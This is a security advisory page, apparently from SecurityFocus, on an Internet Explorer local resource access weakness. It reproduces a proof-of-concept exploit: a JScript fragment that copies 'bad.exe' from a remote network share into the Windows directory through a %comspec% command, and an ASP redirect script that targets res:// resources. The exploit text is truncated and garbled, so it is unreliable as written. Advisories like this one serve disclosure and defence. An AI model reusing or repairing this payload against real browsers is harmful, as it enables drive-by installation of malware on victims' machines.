Microsoft Internet Explorer URL Local Resource Access Weakness

The following proof-of-concept was provided:


There are reported of exploits circulating in the wild that use this and BID 10473.

A proof-of-concept has been published at the following location:

An additional proof of concept exploit supplied by, Ferruh Mavituna, that is reported to bypass vendor fixes is available:
New shellscript.js
function injectIt() {

cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject(""); var
e="%comspec% /c copy "+rF+" "+wF; var
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);

Also for testing in IIS Servers; ASP equivalent of redir.jsp

Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10

Response.Status = "302 Found"
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
These files are available at:


Privacy Statement
Copyright 2010, SecurityFocus